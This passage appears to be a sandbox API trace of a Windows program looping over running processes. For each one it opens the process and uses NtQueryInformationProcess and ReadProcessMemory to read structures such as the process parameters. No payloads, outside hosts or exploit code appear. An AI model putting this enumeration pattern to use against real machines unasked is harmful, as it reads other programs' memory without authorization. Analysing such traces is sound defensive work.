(_Block=0x196ef0d06f0) [0245.398] CloseHandle (hObject=0x300) returned 1 [0245.398] _ui64tow_s (in: _Value=0xe5c, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="3676") returned 0x0 [0245.402] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="3676") returned 4 [0245.403] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0245.404] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0245.436] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe5c) returned 0x300 [0245.436] GetLastError () returned 0x0 [0245.437] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0245.437] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x470018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0245.437] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0245.437] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7e1cb0, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0245.437] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7e18f8, lpBuffer=0x67117c450, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0245.438] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0245.440] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0245.440] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x470020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0245.440] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7e12e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0245.440] malloc (_Size=0x60) returned 0x196ef0d03e0 [0245.440] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7e1950, lpBuffer=0x196ef0d03e0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d03e0*, lpNumberOfBytesRead=0x0) returned 1 [0245.441] free (_Block=0x196ef0d03e0) [0245.442] CloseHandle (hObject=0x300) returned 1 [0245.442] _ui64tow_s (in: _Value=0xe70, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="3696") returned 0x0 [0245.448] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="3696") returned 4 [0245.449] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0245.449] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0245.480] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe70) returned 0x300 [0245.481] GetLastError () returned 0x0 [0245.481] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0245.481] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x217018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0245.481] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0245.481] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x1f1cd0, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0245.482] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x1f18f8, lpBuffer=0x67117c450, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0245.483] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0245.484] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0245.485] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x217020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0245.485] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x1f12e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0245.485] malloc (_Size=0x66) returned 0x196ef0d0370 [0245.485] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x1f1956, lpBuffer=0x196ef0d0370, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0370*, lpNumberOfBytesRead=0x0) returned 1 [0245.486] free (_Block=0x196ef0d0370) [0245.487] CloseHandle (hObject=0x300) returned 1 [0245.487] _ui64tow_s (in: _Value=0xe78, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="3704") returned 0x0 [0245.492] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="3704") returned 4 [0245.494] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0245.494] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0245.512] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe78) returned 0x300 [0245.512] GetLastError () returned 0x0 [0245.513] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0245.513] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x202018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0245.513] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0245.514] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4a1d00, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0245.515] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4a18f8, lpBuffer=0x67117c450, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0245.516] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0245.517] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0245.518] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x202020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0245.518] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4a12e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0245.518] malloc (_Size=0x78) returned 0x196ef0d2120 [0245.518] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4a1968, lpBuffer=0x196ef0d2120, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0245.519] free (_Block=0x196ef0d2120) [0245.520] CloseHandle (hObject=0x300) returned 1 [0245.520] _ui64tow_s (in: _Value=0xe88, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="3720") returned 0x0 [0245.525] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="3720") returned 4 [0245.526] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0245.526] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0245.542] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe88) returned 0x300 [0245.542] GetLastError () returned 0x0 [0245.542] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0245.543] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x3ac018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0245.543] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0245.543] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5d1d00, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0245.543] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5d18f8, lpBuffer=0x67117c450, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0245.544] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0245.546] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0245.546] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x3ac020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0245.546] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5d12e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0245.546] malloc (_Size=0x78) returned 0x196ef0d2120 [0245.546] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5d1968, lpBuffer=0x196ef0d2120, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0245.547] free (_Block=0x196ef0d2120) [0245.547] CloseHandle (hObject=0x300) returned 1 [0245.548] _ui64tow_s (in: _Value=0xe90, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="3728") returned 0x0 [0245.552] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="3728") returned 4 [0245.553] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0245.553] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0245.582] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe90) returned 0x300 [0245.582] GetLastError () returned 0x0 [0245.582] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0245.582] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x30e018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0245.582] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0245.583] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4b1ce0, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0245.583] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4b18f8, lpBuffer=0x67117c450, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0245.584] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0245.585] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0245.585] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x30e020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0245.586] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4b12e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0245.586] malloc (_Size=0x70) returned 0x196ef0d31b0 [0245.586] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4b1960, lpBuffer=0x196ef0d31b0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0245.587] free (_Block=0x196ef0d31b0) [0245.589] CloseHandle (hObject=0x300) returned 1 [0245.590] _ui64tow_s (in: _Value=0xea4, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="3748") returned 0x0 [0245.603] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="3748") returned 4 [0245.605] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0245.606] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0245.641] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xea4) returned 0x300 [0245.641] GetLastError () returned 0x0 [0245.641] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0245.641] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x2a8018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0245.641] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0245.642] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4e1cf0, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0245.642] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4e18f8, lpBuffer=0x67117c450, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0245.643] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0245.644] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0245.644] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x2a8020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0245.644] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4e12e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0245.644] malloc (_Size=0x72) returned 0x196ef0d31b0 [0245.645] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4e1962, lpBuffer=0x196ef0d31b0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0245.645] free (_Block=0x196ef0d31b0) [0245.646] CloseHandle (hObject=0x300) returned 1 [0245.647] _ui64tow_s (in: _Value=0xeac, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="3756") returned 0x0 [0245.651] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="3756") returned 4 [0245.652] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0245.652] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0245.668] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xeac) returned 0x300 [0245.668] GetLastError () returned 0x0 [0245.668] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0245.668] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x3af018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0245.669] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0245.669] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x461ca0, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0245.669] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4618f8, lpBuffer=0x67117c450, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0245.670] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0245.712] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0245.712] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x3af020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0245.712] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4612e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0245.712] malloc (_Size=0x5a) returned 0x196ef0d0610 [0245.712] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x46194a, lpBuffer=0x196ef0d0610, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0610*, lpNumberOfBytesRead=0x0) returned 1 [0245.713] free (_Block=0x196ef0d0610) [0245.714] CloseHandle (hObject=0x300) returned 1 [0245.718] _ui64tow_s (in: _Value=0xec4, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="3780") returned 0x0 [0245.722] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="3780") returned 4 [0245.723] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0245.723] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0245.740] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xec4) returned 0x300 [0245.740] GetLastError () returned 0x0 [0245.741] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0245.741] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x3de018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0245.741] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0245.741] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x501cd0, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0245.742] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5018f8, lpBuffer=0x67117c450, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0245.743] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0245.744] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0245.744] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x3de020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0245.744] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5012e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0245.744] malloc (_Size=0x66) returned 0x196ef0d0370 [0245.744] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x501956, lpBuffer=0x196ef0d0370, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0370*, lpNumberOfBytesRead=0x0) returned 1 [0245.745] free (_Block=0x196ef0d0370) [0245.746] CloseHandle (hObject=0x300) returned 1 [0245.791] _ui64tow_s (in: _Value=0xecc, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: 